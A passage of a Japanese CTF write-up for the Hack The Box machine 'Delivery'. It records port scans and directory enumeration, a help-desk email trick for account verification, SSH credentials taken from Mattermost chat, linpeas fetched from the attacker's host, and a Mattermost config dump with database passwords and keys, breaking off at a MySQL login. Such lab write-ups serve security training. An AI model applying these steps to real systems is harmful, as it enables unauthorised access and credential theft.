まえがき

この記事はDeliveryのWriteupです📝
今回はいつもと違うアプローチをしていく特徴的なboxです。

Machine Info

Name: Delivery
IP Address:10.10.10.222
OS: Linux 🐧

Recon

Port Scan - Nmap

┌──(kali㉿kali)-[~/Desktop/work]
└─$ nmap 10.10.10.222 -Pn -v -A
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-23 05:28 JST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 05:28
Completed NSE at 05:28, 0.00s elapsed
Initiating NSE at 05:28
Completed NSE at 05:28, 0.00s elapsed
Initiating NSE at 05:28
Completed NSE at 05:28, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 05:28
Completed Parallel DNS resolution of 1 host. at 05:28, 0.04s elapsed
Initiating Connect Scan at 05:28
Scanning 10.10.10.222 [1000 ports]
Discovered open port 80/tcp on 10.10.10.222
Discovered open port 22/tcp on 10.10.10.222
Increasing send delay for 10.10.10.222 from 0 to 5 due to max_successful_tryno increase to 4
Increasing send delay for 10.10.10.222 from 5 to 10 due to max_successful_tryno increase to 5
Completed Connect Scan at 05:28, 40.94s elapsed (1000 total ports)
Initiating Service scan at 05:28
Scanning 2 services on 10.10.10.222
Completed Service scan at 05:29, 7.13s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.10.222.
Initiating NSE at 05:29
Completed NSE at 05:29, 8.36s elapsed
Initiating NSE at 05:29
Completed NSE at 05:29, 1.12s elapsed
Initiating NSE at 05:29
Completed NSE at 05:29, 0.00s elapsed
Nmap scan report for 10.10.10.222
Host is up (0.27s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 9c:40:fa:85:9b:01:ac:ac:0e:bc:0c:19:51:8a:ee:27 (RSA)
|   256 5a:0c:c0:3b:9b:76:55:2e:6e:c4:f4:b9:5d:76:17:09 (ECDSA)
|_  256 b7:9d:f7:48:9d:a2:f2:76:30:fd:42:d3:35:3a:80:8c (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-title: Welcome
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
Initiating NSE at 05:29
Completed NSE at 05:29, 0.00s elapsed
Initiating NSE at 05:29
Completed NSE at 05:29, 0.00s elapsed
Initiating NSE at 05:29
Completed NSE at 05:29, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.05 seconds

22番と80番のポートが開いていることがわかる。

Name Resolution

名前解決を行う必要がある。
/etc/hostsのファイルにこれを書き込んでおく

10.10.10.222	delivery.htb

Site - delivery.htb

実際アクセスしてみるとこんなページが見つかる。

Help Desk

Contact us

Matter most Server

Enumeration

他にもめぼしいものがないか探索していく。

FFuF

┌──(kali㉿kali)-[~/Desktop/work]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://10.10.10.222/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.222/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

:: Progress: [1/87664] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00]:: Progress: [40/87664] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00:: Progress: [40/87664] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00:: Progress: [40/87664] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00:: Progress: [40/87664] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00:: Progress: [40/87664] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 10850, Words: 486, Lines: 312, Duration: 308ms]
:: Progress: [41/87664] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00# on at least 3 different hosts [Status: 200, Size: 10850, Words: 486, Lines: 312, Duration: 307ms]
:: Progress: [42/87664] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00# Priority-ordered case-sensitive list, where entries were found [Status: 200, Size: 10850, Words: 486, Lines: 312, Duration: 308ms]
:: Progress: [43/87664] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00# directory-list-2.3-small.txt [Status: 200, Size: 10850, Words: 486, Lines: 312, Duration: 308ms]
:: Progress: [52/87664] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00#                       [Status: 200, Size: 10850, Words: 486, Lines: 312, Duration: 313ms]
:: Progress: [53/87664] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 10850, Words: 486, Lines: 312, Duration: 309ms]
:: Progress: [53/87664] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00                        [Status: 200, Size: 10850, Words: 486, Lines: 312, Duration: 313ms]
:: Progress: [64/87664] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00images                  [Status: 301, Size: 185, Words: 6, Lines: 8, Duration: 314ms]
:: Progress: [67/87664] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00#                       [Status: 200, Size: 10850, Words: 486, Lines: 312, Duration: 313ms]
:: Progress: [68/87664] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00#                       [Status: 200, Size: 10850, Words: 486, Lines: 312, Duration: 314ms]
:: Progress: [69/87664] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 10850, Words: 486, Lines: 312, Duration: 314ms]
:: Progress: [70/87664] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Size: 10850, Words: 486, Lines: 312, Duration: 315ms]

dirsearch

┌──(kali㉿kali)-[~/Desktop/work]
└─$ dirsearch -u http://delivery.htb
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/Desktop/work/reports/http_delivery.htb/_23-12-23_05-38-13.txt

Target: http://delivery.htb/

[05:38:13] Starting: 
[05:39:03] 403 -  571B  - /assets/
[05:39:03] 301 -  185B  - /assets  ->  http://delivery.htb/assets/
[05:39:24] 301 -  185B  - /error  ->  http://delivery.htb/error/
[05:39:24] 200 -    1KB - /error/
[05:39:33] 403 -  571B  - /images/
[05:39:33] 301 -  185B  - /images  ->  http://delivery.htb/images/
[05:40:04] 200 -  648B  - /README.MD

Task Completed

errorページが気になったが、特筆することはなかったので先ほど見つけたページを詳しく見ていくことにする。

Help Desk

ここから、Open a New Ticket Check Ticket Status Sign Inができる。

ここから新しいチケット発行ができる。試しに入力してみよう。

ticket idとemail addressが発行された。

作ったチケットをCheck Ticket Statusで確認する。

testと入力されている。

他にもMatter most Serverのページがあったのを思い出した。そちらにも再度アクセスしてみよう。

アカウントを持っていないため、Create one newから新規アカウントを作成する。

ここで問題発生。test@testのメールアドレスは実際には存在しないアドレスになるため、email認証をすることが不可能だ。

そこで先ほどチケットを発行した際にもらったemail Addressで、もう一度登録を試してみる。

Check Ticket Statusを更新してみると、verify emailが届いている。

http://delivery.htb:8065/do_verify_email?token=wuzojdkgk7camh58mpgookks8y1y8fs5ohbtfzhkd9obd9dxotfr7y6phpph8kfr&email=1794827%40delivery.htb

mailに届いていたurlにアクセスすると認証が完了するので、再度ログインを試す。

Mattermost

ログインに成功。

チャットログに情報源になりそうなものが沢山書かれている。

① Credentials to the server are maildeliverer:Youve_G0t_Mail!

② Especially those that are a variant of "PleaseSubscribe!"

③ PleaseSubscribe! may not be in RockYou but if any hacker manages to get our hashes, they can use hashcat rules to easily crack all variations of common words or phrases.

Attempt - SSH connection

22番ポートが空いていたので、maildeliverer:Youve_G0t_Mail!でSSH接続をしてみる。

┌──(root㉿kali)-[/home/kali/Desktop/work]
└─# ssh maildeliverer@10.10.10.222
maildeliverer@10.10.10.222's password: 
Linux Delivery 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Jan  5 06:09:50 2021 from 10.10.14.5

成功した。User Flagもゲット。

maildeliverer@Delivery:~$ ls -lta
total 28
-r-------- 1 maildeliverer maildeliverer   33 Dec 22 15:23 user.txt
drwxr-xr-x 3 maildeliverer maildeliverer 4096 Jan  3  2021 .
lrwxrwxrwx 1 root          root             9 Dec 28  2020 .bash_history -> /dev/null
drwx------ 3 maildeliverer maildeliverer 4096 Dec 28  2020 .gnupg
-rw-r--r-- 1 maildeliverer maildeliverer  220 Dec 26  2020 .bash_logout
-rw-r--r-- 1 maildeliverer maildeliverer 3526 Dec 26  2020 .bashrc
-rw-r--r-- 1 maildeliverer maildeliverer  807 Dec 26  2020 .profile
drwxr-xr-x 3 root          root          4096 Dec 26  2020 ..
maildeliverer@Delivery:~$ cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX //32文字のUserFlag

Privilege Escalation

sudo -l

maildelivererが実行できる権限を確認してみるが、特にsudo -lでは発見できなかった。

maildeliverer@Delivery:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for maildeliverer: 
Sorry, user maildeliverer may not run sudo on Delivery.

Linpeas

LinPeasを使っていくため、前準備をする。

① サーバをたてておく

┌──(kali㉿kali)-[~/Desktop/work]
└─$ python3 -m http.server 80 --bind 10.10.14.4
Serving HTTP on 10.10.14.4 port 80 (http://10.10.14.4:80/) ...

② LinPeasをダウンロード(サーバをたてた同じ階層で)しておく。

③ ターゲットマシンでwgetを実行しlinpeas.shを手にいれる。

maildeliverer@Delivery:~$ wget http://10.10.14.4:80/linpeas.sh
--2023-12-22 16:53:28--  http://10.10.14.4/linpeas.sh
Connecting to 10.10.14.4:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 847815 (828K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh         100%[===============>] 827.94K  6.79KB/s    in 2m 59s  

2023-12-22 16:56:28 (4.63 KB/s) - ‘linpeas.sh’ saved [847815/847815]

④ そのまま実行しようとしても権限が与えられていないので、権限を与えておく。

maildeliverer@Delivery:~$ chmod +x linpeas.sh

⑤ 実行 (今日もかわいい...)

情報量が多いが、特に気になった点は以下の通りだ。

Users with console

MySQL

他にも気になる点が沢山あったが、特に脆弱性は存在しなかった。

ディレクトリを調べていると、ディレクトリ内にconfig.jsonというファイルを見つけた。
内容を見てみよう。

maildeliverer@Delivery:/opt/mattermost/config$ ls -lta
total 36
-rw-rw-r--  1 mattermost mattermost 18774 Dec 22 15:23 config.json
drwxrwxr-x 12 mattermost mattermost  4096 Jul 14  2021 ..
drwxrwxr-x  2 mattermost mattermost  4096 Dec 26  2020 .
-rw-rw-r--  1 mattermost mattermost   922 Dec 18  2020 cloud_defaults.json
-rw-rw-r--  1 mattermost mattermost   243 Dec 18  2020 README.md
maildeliverer@Delivery:/opt/mattermost/config$ cat config.json
{
    "ServiceSettings": {
        "SiteURL": "",
        "WebsocketURL": "",
        "LicenseFileLocation": "",
        "ListenAddress": ":8065",
        "ConnectionSecurity": "",
        "TLSCertFile": "",
        "TLSKeyFile": "",
        "TLSMinVer": "1.2",
        "TLSStrictTransport": false,
        "TLSStrictTransportMaxAge": 63072000,
        "TLSOverwriteCiphers": [],
        "UseLetsEncrypt": false,
        "LetsEncryptCertificateCacheFile": "./config/letsencrypt.cache",
        "Forward80To443": false,
        "TrustedProxyIPHeader": [],
        "ReadTimeout": 300,
        "WriteTimeout": 300,
        "IdleTimeout": 60,
        "MaximumLoginAttempts": 10,
        "GoroutineHealthThreshold": -1,
        "GoogleDeveloperKey": "",
        "EnableOAuthServiceProvider": false,
        "EnableIncomingWebhooks": true,
        "EnableOutgoingWebhooks": true,
        "EnableCommands": true,
        "EnableOnlyAdminIntegrations": true,
        "EnablePostUsernameOverride": false,
        "EnablePostIconOverride": false,
        "EnableLinkPreviews": true,
        "EnableTesting": false,
        "EnableDeveloper": false,
        "EnableOpenTracing": false,
        "EnableSecurityFixAlert": true,
        "EnableInsecureOutgoingConnections": false,
        "AllowedUntrustedInternalConnections": "",
        "EnableMultifactorAuthentication": false,
        "EnforceMultifactorAuthentication": false,
        "EnableUserAccessTokens": false,
        "AllowCorsFrom": "",
        "CorsExposedHeaders": "",
        "CorsAllowCredentials": false,
        "CorsDebug": false,
        "AllowCookiesForSubdomains": false,
        "ExtendSessionLengthWithActivity": true,
        "SessionLengthWebInDays": 30,
        "SessionLengthMobileInDays": 30,
        "SessionLengthSSOInDays": 30,
        "SessionCacheInMinutes": 10,
        "SessionIdleTimeoutInMinutes": 43200,
        "WebsocketSecurePort": 443,
        "WebsocketPort": 80,
        "WebserverMode": "gzip",
        "EnableCustomEmoji": true,
        "EnableEmojiPicker": true,
        "EnableGifPicker": true,
        "GfycatApiKey": "2_KtH_W5",
        "GfycatApiSecret": "3wLVZPiswc3DnaiaFoLkDvB4X0IV6CpMkj4tf2inJRsBY6-FnkT08zGmppWFgeof",
        "RestrictCustomEmojiCreation": "all",
        "RestrictPostDelete": "all",
        "AllowEditPost": "always",
        "PostEditTimeLimit": -1,
        "TimeBetweenUserTypingUpdatesMilliseconds": 5000,
        "EnablePostSearch": true,
        "MinimumHashtagLength": 3,
        "EnableUserTypingMessages": true,
        "EnableChannelViewedMessages": true,
        "EnableUserStatuses": true,
        "ExperimentalEnableAuthenticationTransfer": true,
        "ClusterLogTimeoutMilliseconds": 2000,
        "CloseUnusedDirectMessages": false,
        "EnablePreviewFeatures": true,
        "EnableTutorial": true,
        "ExperimentalEnableDefaultChannelLeaveJoinMessages": true,
        "ExperimentalGroupUnreadChannels": "disabled",
        "ExperimentalChannelOrganization": false,
        "ExperimentalChannelSidebarOrganization": "disabled",
        "ExperimentalDataPrefetch": true,
        "ImageProxyType": "",
        "ImageProxyURL": "",
        "ImageProxyOptions": "",
        "EnableAPITeamDeletion": false,
        "EnableAPIUserDeletion": false,
        "ExperimentalEnableHardenedMode": false,
        "DisableLegacyMFA": true,
        "ExperimentalStrictCSRFEnforcement": false,
        "EnableEmailInvitations": false,
        "DisableBotsWhenOwnerIsDeactivated": true,
        "EnableBotAccountCreation": false,
        "EnableSVGs": false,
        "EnableLatex": false,
        "EnableAPIChannelDeletion": false,
        "EnableLocalMode": false,
        "LocalModeSocketLocation": "/var/tmp/mattermost_local.socket",
        "EnableAWSMetering": false,
        "SplitKey": "",
        "FeatureFlagSyncIntervalSeconds": 30,
        "DebugSplit": false,
        "ThreadAutoFollow": true,
        "ManagedResourcePaths": ""
    },
    "TeamSettings": {
        "SiteName": "Mattermost",
        "MaxUsersPerTeam": 5000,
        "EnableTeamCreation": true,
        "EnableUserCreation": true,
        "EnableOpenServer": true,
        "EnableUserDeactivation": false,
        "RestrictCreationToDomains": "",
        "EnableCustomBrand": false,
        "CustomBrandText": "",
        "CustomDescriptionText": "",
        "RestrictDirectMessage": "any",
        "RestrictTeamInvite": "all",
        "RestrictPublicChannelManagement": "all",
        "RestrictPrivateChannelManagement": "all",
        "RestrictPublicChannelCreation": "all",
        "RestrictPrivateChannelCreation": "all",
        "RestrictPublicChannelDeletion": "all",
        "RestrictPrivateChannelDeletion": "all",
        "RestrictPrivateChannelManageMembers": "all",
        "EnableXToLeaveChannelsFromLHS": false,
        "UserStatusAwayTimeout": 300,
        "MaxChannelsPerTeam": 2000,
        "MaxNotificationsPerChannel": 1000000,
        "EnableConfirmNotificationsToChannel": true,
        "TeammateNameDisplay": "username",
        "ExperimentalViewArchivedChannels": true,
        "ExperimentalEnableAutomaticReplies": false,
        "ExperimentalHideTownSquareinLHS": false,
        "ExperimentalTownSquareIsReadOnly": false,
        "LockTeammateNameDisplay": false,
        "ExperimentalPrimaryTeam": "",
        "ExperimentalDefaultChannels": []
    },
    "ClientRequirements": {
        "AndroidLatestVersion": "",
        "AndroidMinVersion": "",
        "DesktopLatestVersion": "",
        "DesktopMinVersion": "",
        "IosLatestVersion": "",
        "IosMinVersion": ""
    },
    "SqlSettings": {
        "DriverName": "mysql",
        "DataSource": "mmuser:Crack_The_MM_Admin_PW@tcp(127.0.0.1:3306)/mattermost?charset=utf8mb4,utf8\u0026readTimeout=30s\u0026writeTimeout=30s",
        "DataSourceReplicas": [],
        "DataSourceSearchReplicas": [],
        "MaxIdleConns": 20,
        "ConnMaxLifetimeMilliseconds": 3600000,
        "MaxOpenConns": 300,
        "Trace": false,
        "AtRestEncryptKey": "n5uax3d4f919obtsp1pw1k5xetq1enez",
        "QueryTimeout": 30,
        "DisableDatabaseSearch": false
    },
    "LogSettings": {
        "EnableConsole": true,
        "ConsoleLevel": "INFO",
        "ConsoleJson": true,
        "EnableFile": true,
        "FileLevel": "INFO",
        "FileJson": true,
        "FileLocation": "",
        "EnableWebhookDebugging": true,
        "EnableDiagnostics": true,
        "EnableSentry": true,
        "AdvancedLoggingConfig": ""
    },
    "ExperimentalAuditSettings": {
        "FileEnabled": false,
        "FileName": "",
        "FileMaxSizeMB": 100,
        "FileMaxAgeDays": 0,
        "FileMaxBackups": 0,
        "FileCompress": false,
        "FileMaxQueueSize": 1000,
        "AdvancedLoggingConfig": ""
    },
    "NotificationLogSettings": {
        "EnableConsole": true,
        "ConsoleLevel": "INFO",
        "ConsoleJson": true,
        "EnableFile": true,
        "FileLevel": "INFO",
        "FileJson": true,
        "FileLocation": "",
        "AdvancedLoggingConfig": ""
    },
    "PasswordSettings": {
        "MinimumLength": 10,
        "Lowercase": true,
        "Number": true,
        "Uppercase": true,
        "Symbol": true
    },
    "FileSettings": {
        "EnableFileAttachments": true,
        "EnableMobileUpload": true,
        "EnableMobileDownload": true,
        "MaxFileSize": 52428800,
        "DriverName": "local",
        "Directory": "./data/",
        "EnablePublicLink": false,
        "PublicLinkSalt": "8818u8uiz1n9rykuwgiqttfzgu6iixhz",
        "InitialFont": "nunito-bold.ttf",
        "AmazonS3AccessKeyId": "",
        "AmazonS3SecretAccessKey": "",
        "AmazonS3Bucket": "",
        "AmazonS3PathPrefix": "",
        "AmazonS3Region": "",
        "AmazonS3Endpoint": "s3.amazonaws.com",
        "AmazonS3SSL": true,
        "AmazonS3SignV2": false,
        "AmazonS3SSE": false,
        "AmazonS3Trace": false
    },
    "EmailSettings": {
        "EnableSignUpWithEmail": true,
        "EnableSignInWithEmail": true,
        "EnableSignInWithUsername": true,
        "SendEmailNotifications": false,
        "UseChannelInEmailNotifications": false,
        "RequireEmailVerification": true,
        "FeedbackName": "",
        "FeedbackEmail": "",
        "ReplyToAddress": "",
        "FeedbackOrganization": "",
        "EnableSMTPAuth": false,
        "SMTPUsername": "",
        "SMTPPassword": "",
        "SMTPServer": "localhost",
        "SMTPPort": "1025",
        "SMTPServerTimeout": 10,
        "ConnectionSecurity": "",
        "SendPushNotifications": true,
        "PushNotificationServer": "https://push-test.mattermost.com",
        "PushNotificationContents": "full",
        "PushNotificationBuffer": 1000,
        "EnableEmailBatching": false,
        "EmailBatchingBufferSize": 256,
        "EmailBatchingInterval": 30,
        "EnablePreviewModeBanner": true,
        "SkipServerCertificateVerification": false,
        "EmailNotificationContentsType": "full",
        "LoginButtonColor": "#0000",
        "LoginButtonBorderColor": "#2389D7",
        "LoginButtonTextColor": "#2389D7"
    },
    "RateLimitSettings": {
        "Enable": false,
        "PerSec": 10,
        "MaxBurst": 100,
        "MemoryStoreSize": 10000,
        "VaryByRemoteAddr": true,
        "VaryByUser": false,
        "VaryByHeader": ""
    },
    "PrivacySettings": {
        "ShowEmailAddress": true,
        "ShowFullName": true
    },
    "SupportSettings": {
        "TermsOfServiceLink": "https://about.mattermost.com/default-terms/",
        "PrivacyPolicyLink": "https://about.mattermost.com/default-privacy-policy/",
        "AboutLink": "https://about.mattermost.com/default-about/",
        "HelpLink": "https://about.mattermost.com/default-help/",
        "ReportAProblemLink": "https://about.mattermost.com/default-report-a-problem/",
        "SupportEmail": "feedback@mattermost.com",
        "CustomTermsOfServiceEnabled": false,
        "CustomTermsOfServiceReAcceptancePeriod": 365,
        "EnableAskCommunityLink": true
    },
    "AnnouncementSettings": {
        "EnableBanner": false,
        "BannerText": "",
        "BannerColor": "#f2a93b",
        "BannerTextColor": "#333333",
        "AllowBannerDismissal": true,
        "AdminNoticesEnabled": true,
        "UserNoticesEnabled": true,
        "NoticesURL": "https://notices.mattermost.com/",
        "NoticesFetchFrequency": 3600,
        "NoticesSkipCache": false
    },
    "ThemeSettings": {
        "EnableThemeSelection": true,
        "DefaultTheme": "default",
        "AllowCustomThemes": true,
        "AllowedThemes": []
    },
    "GitLabSettings": {
        "Enable": false,
        "Secret": "",
        "Id": "",
        "Scope": "",
        "AuthEndpoint": "",
        "TokenEndpoint": "",
        "UserApiEndpoint": ""
    },
    "GoogleSettings": {
        "Enable": false,
        "Secret": "",
        "Id": "",
        "Scope": "profile email",
        "AuthEndpoint": "https://accounts.google.com/o/oauth2/v2/auth",
        "TokenEndpoint": "https://www.googleapis.com/oauth2/v4/token",
        "UserApiEndpoint": "https://people.googleapis.com/v1/people/me?personFields=names,emailAddresses,nicknames,metadata"
    },
    "Office365Settings": {
        "Enable": false,
        "Secret": "",
        "Id": "",
        "Scope": "User.Read",
        "AuthEndpoint": "https://login.microsoftonline.com/common/oauth2/v2.0/authorize",
        "TokenEndpoint": "https://login.microsoftonline.com/common/oauth2/v2.0/token",
        "UserApiEndpoint": "https://graph.microsoft.com/v1.0/me",
        "DirectoryId": ""
    },
    "LdapSettings": {
        "Enable": false,
        "EnableSync": false,
        "LdapServer": "",
        "LdapPort": 389,
        "ConnectionSecurity": "",
        "BaseDN": "",
        "BindUsername": "",
        "BindPassword": "",
        "UserFilter": "",
        "GroupFilter": "",
        "GuestFilter": "",
        "EnableAdminFilter": false,
        "AdminFilter": "",
        "GroupDisplayNameAttribute": "",
        "GroupIdAttribute": "",
        "FirstNameAttribute": "",
        "LastNameAttribute": "",
        "EmailAttribute": "",
        "UsernameAttribute": "",
        "NicknameAttribute": "",
        "IdAttribute": "",
        "PositionAttribute": "",
        "LoginIdAttribute": "",
        "PictureAttribute": "",
        "SyncIntervalMinutes": 60,
        "SkipCertificateVerification": false,
        "PublicCertificateFile": "",
        "PrivateKeyFile": "",
        "QueryTimeout": 60,
        "MaxPageSize": 0,
        "LoginFieldName": "",
        "LoginButtonColor": "#0000",
        "LoginButtonBorderColor": "#2389D7",
        "LoginButtonTextColor": "#2389D7",
        "Trace": false
    },
    "ComplianceSettings": {
        "Enable": false,
        "Directory": "./data/",
        "EnableDaily": false
    },
    "LocalizationSettings": {
        "DefaultServerLocale": "en",
        "DefaultClientLocale": "en",
        "AvailableLocales": ""
    },
    "SamlSettings": {
        "Enable": false,
        "EnableSyncWithLdap": false,
        "EnableSyncWithLdapIncludeAuth": false,
        "IgnoreGuestsLdapSync": false,
        "Verify": true,
        "Encrypt": true,
        "SignRequest": false,
        "IdpUrl": "",
        "IdpDescriptorUrl": "",
        "IdpMetadataUrl": "",
        "ServiceProviderIdentifier": "",
        "AssertionConsumerServiceURL": "",
        "SignatureAlgorithm": "RSAwithSHA1",
        "CanonicalAlgorithm": "Canonical1.0",
        "ScopingIDPProviderId": "",
        "ScopingIDPName": "",
        "IdpCertificateFile": "",
        "PublicCertificateFile": "",
        "PrivateKeyFile": "",
        "IdAttribute": "",
        "GuestAttribute": "",
        "EnableAdminAttribute": false,
        "AdminAttribute": "",
        "FirstNameAttribute": "",
        "LastNameAttribute": "",
        "EmailAttribute": "",
        "UsernameAttribute": "",
        "NicknameAttribute": "",
        "LocaleAttribute": "",
        "PositionAttribute": "",
        "LoginButtonText": "SAML",
        "LoginButtonColor": "#34a28b",
        "LoginButtonBorderColor": "#2389D7",
        "LoginButtonTextColor": "#ffffff"
    },
    "NativeAppSettings": {
        "AppDownloadLink": "https://mattermost.com/download/#mattermostApps",
        "AndroidAppDownloadLink": "https://about.mattermost.com/mattermost-android-app/",
        "IosAppDownloadLink": "https://about.mattermost.com/mattermost-ios-app/"
    },
    "ClusterSettings": {
        "Enable": false,
        "ClusterName": "",
        "OverrideHostname": "",
        "NetworkInterface": "",
        "BindAddress": "",
        "AdvertiseAddress": "",
        "UseIpAddress": true,
        "UseExperimentalGossip": false,
        "EnableExperimentalGossipEncryption": false,
        "ReadOnlyConfig": true,
        "GossipPort": 8074,
        "StreamingPort": 8075,
        "MaxIdleConns": 100,
        "MaxIdleConnsPerHost": 128,
        "IdleConnTimeoutMilliseconds": 90000
    },
    "MetricsSettings": {
        "Enable": false,
        "BlockProfileRate": 0,
        "ListenAddress": ":8067"
    },
    "ExperimentalSettings": {
        "ClientSideCertEnable": false,
        "ClientSideCertCheck": "secondary",
        "EnableClickToReply": false,
        "LinkMetadataTimeoutMilliseconds": 5000,
        "RestrictSystemAdmin": false,
        "UseNewSAMLLibrary": false,
        "CloudUserLimit": 0,
        "CloudBilling": false,
        "EnableSharedChannels": false
    },
    "AnalyticsSettings": {
        "MaxUsersForStatistics": 2500
    },
    "ElasticsearchSettings": {
        "ConnectionUrl": "http://localhost:9200",
        "Username": "elastic",
        "Password": "changeme",
        "EnableIndexing": false,
        "EnableSearching": false,
        "EnableAutocomplete": false,
        "Sniff": true,
        "PostIndexReplicas": 1,
        "PostIndexShards": 1,
        "ChannelIndexReplicas": 1,
        "ChannelIndexShards": 1,
        "UserIndexReplicas": 1,
        "UserIndexShards": 1,
        "AggregatePostsAfterDays": 365,
        "PostsAggregatorJobStartTime": "03:00",
        "IndexPrefix": "",
        "LiveIndexingBatchSize": 1,
        "BulkIndexingTimeWindowSeconds": 3600,
        "RequestTimeoutSeconds": 30,
        "SkipTLSVerification": false,
        "Trace": ""
    },
    "BleveSettings": {
        "IndexDir": "",
        "EnableIndexing": false,
        "EnableSearching": false,
        "EnableAutocomplete": false,
        "BulkIndexingTimeWindowSeconds": 3600
    },
    "DataRetentionSettings": {
        "EnableMessageDeletion": false,
        "EnableFileDeletion": false,
        "MessageRetentionDays": 365,
        "FileRetentionDays": 365,
        "DeletionJobStartTime": "02:00"
    },
    "MessageExportSettings": {
        "EnableExport": false,
        "ExportFormat": "actiance",
        "DailyRunTime": "01:00",
        "ExportFromTimestamp": 0,
        "BatchSize": 10000,
        "DownloadExportResults": false,
        "GlobalRelaySettings": {
            "CustomerType": "A9",
            "SmtpUsername": "",
            "SmtpPassword": "",
            "EmailAddress": "",
            "SMTPServerTimeout": 1800
        }
    },
    "JobSettings": {
        "RunJobs": true,
        "RunScheduler": true
    },
    "PluginSettings": {
        "Enable": true,
        "EnableUploads": false,
        "AllowInsecureDownloadUrl": false,
        "EnableHealthCheck": true,
        "Directory": "./plugins",
        "ClientDirectory": "./client/plugins",
        "Plugins": {},
        "PluginStates": {
            "com.mattermost.nps": {
                "Enable": true
            },
            "com.mattermost.plugin-channel-export": {
                "Enable": true
            },
            "com.mattermost.plugin-incident-management": {
                "Enable": true
            }
        },
        "EnableMarketplace": true,
        "EnableRemoteMarketplace": true,
        "AutomaticPrepackagedPlugins": true,
        "RequirePluginSignature": false,
        "MarketplaceUrl": "https://api.integrations.mattermost.com",
        "SignaturePublicKeyFiles": []
    },
    "DisplaySettings": {
        "CustomUrlSchemes": [],
        "ExperimentalTimezone": true
    },
    "GuestAccountsSettings": {
        "Enable": false,
        "AllowEmailAccounts": true,
        "EnforceMultifactorAuthentication": false,
        "RestrictCreationToDomains": ""
    },
    "ImageProxySettings": {
        "Enable": false,
        "ImageProxyType": "local",
        "RemoteImageProxyURL": "",
        "RemoteImageProxyOptions": ""
    },
    "CloudSettings": {
        "CWSUrl": "https://customers.mattermost.com"
    }

沢山書き込まれているが、この中で注目すべきは以下の点だ。

    "SqlSettings": {
        "DriverName": "mysql",
        "DataSource": "mmuser:Crack_The_MM_Admin_PW@tcp(127.0.0.1:3306)/mattermost?charset=utf8mb4,utf8\u0026readTimeout=30s\u0026writeTimeout=30s",
        "DataSourceReplicas": [],
        "DataSourceSearchReplicas": [],
        "MaxIdleConns": 20,
        "ConnMaxLifetimeMilliseconds": 3600000,
        "MaxOpenConns": 300,
        "Trace": false,
        "AtRestEncryptKey": "n5uax3d4f919obtsp1pw1k5xetq1enez",
        "QueryTimeout": 30,
        "DisableDatabaseSearch": false
    }

MySQLでログインしてみよう。（PassはCrack_The_MM_Admin_PW）

maildeliverer@Delivery:/opt/mattermost/config$ mysql -u mmuser -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
